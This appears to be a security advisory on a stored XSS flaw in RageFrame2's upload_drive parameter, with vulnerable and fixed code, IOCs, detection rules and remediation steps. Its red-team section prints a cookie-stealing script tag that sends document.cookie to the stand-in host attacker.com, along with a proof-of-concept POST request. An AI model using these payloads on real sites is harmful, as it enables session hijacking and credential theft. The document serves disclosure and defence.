CVE-2024-30878

Executive Summary

CVE-2024-30878 is a stored cross-site scripting (XSS) vulnerability identified in RageFrame2 v2.6.43. The flaw resides in the upload_drive parameter, allowing remote attackers to inject arbitrary web scripts or HTML. Successful exploitation can lead to session hijacking, credential theft, and sensitive information disclosure. No official patch has been released as of this analysis, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, the public availability of proof-of-concept details elevates the risk for unpatched instances.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires user interaction (e.g., clicking a crafted link) but can be exploited remotely without authentication. The impact is limited to information disclosure and script execution within the user's session.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the upload_drive parameter of RageFrame2 v2.6.43. The application fails to sanitize or encode user-supplied input before storing it in the database and later rendering it in a web page. An attacker can craft a payload such as:

<script>alert('XSS')</script>

When a victim visits the affected page, the script executes in the context of their browser, allowing the attacker to steal cookies, session tokens, or perform actions on behalf of the user.

The root cause is the lack of output encoding and input validation. The upload_drive parameter is likely used to store a file path or drive identifier, but it is not properly escaped when displayed.

Vulnerable vs. Patched Code

Vulnerable Code (RageFrame2 v2.6.43):

// In a controller or view file
echo $upload_drive; // Direct output without sanitization

Patched Code (Hypothetical):

// Use htmlspecialchars to escape output
echo htmlspecialchars($upload_drive, ENT_QUOTES, 'UTF-8');

Since no official patch exists, the above is a recommended fix. The vulnerable code directly echoes the parameter without any encoding, allowing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• RageFrame2 v2.6.43 instance
• Network access to the application
• A victim user who will interact with the crafted payload

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /index.php?r=upload/upload_drive).
2. Craft a payload to steal cookies:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. Submit the payload via the upload_drive parameter.
4. Wait for an administrator or user to view the affected page.
5. Capture the cookie and hijack the session.

Proof-of-Concept (PoC) Request:

POST /index.php?r=upload/upload_drive HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

upload_drive=<script>alert('XSS')</script>

Blue Team

Detection & Response:

• Monitor for unusual parameters containing script tags or event handlers.
• Implement Content Security Policy (CSP) headers to mitigate XSS.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Conduct regular code reviews and input validation audits.

Lab Setup:

1. Deploy RageFrame2 v2.6.43 in a sandboxed environment.
2. Use a tool like Burp Suite to intercept and modify requests.
3. Simulate the attack and observe the behavior.
4. Validate detection rules (see Detection Engineering).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing upload_drive parameter with <script> tags.
  • Outbound connections to attacker-controlled domains (e.g., for cookie exfiltration).
• File IOCs:
  • Log entries showing upload_drive parameter with encoded or raw JavaScript.
• Behavioral IOCs:
  • Unexpected JavaScript execution in the browser.
  • Session tokens being sent to external domains.

Detection Engineering

YARA Rule

rule CVE_2024_30878_XSS {
    meta:
        description = "Detects XSS payload in upload_drive parameter"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-30878"
    strings:
        $xss_payload = /upload_drive=.*<script[^>]*>.*<\/script>/i
    condition:
        $xss_payload
}

Sigma Rule

title: CVE-2024-30878 XSS Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS attempts targeting upload_drive parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'upload_drive='
        cs-uri-query|re: '.*<script[^>]*>.*<\/script>.*'
    condition: selection
falsepositives:
    - Legitimate use of script tags in non-production environments
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-30878 XSS Attempt"; flow:to_server; content:"upload_drive="; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply input validation and output encoding to the upload_drive parameter.
2. Implement a Web Application Firewall (WAF) to block XSS payloads.
3. Restrict user input to expected values (e.g., alphanumeric characters only).

Long-Term Fixes:

• Upgrade to a patched version once available.
• Conduct a full security audit of the application.
• Use Content Security Policy (CSP) headers to prevent script execution.
• Educate developers on secure coding practices.

Workaround:

• Disable the vulnerable functionality if not essential.
• Use a reverse proxy to sanitize input before it reaches the application.

Valters IT
Securing Digital Frontiers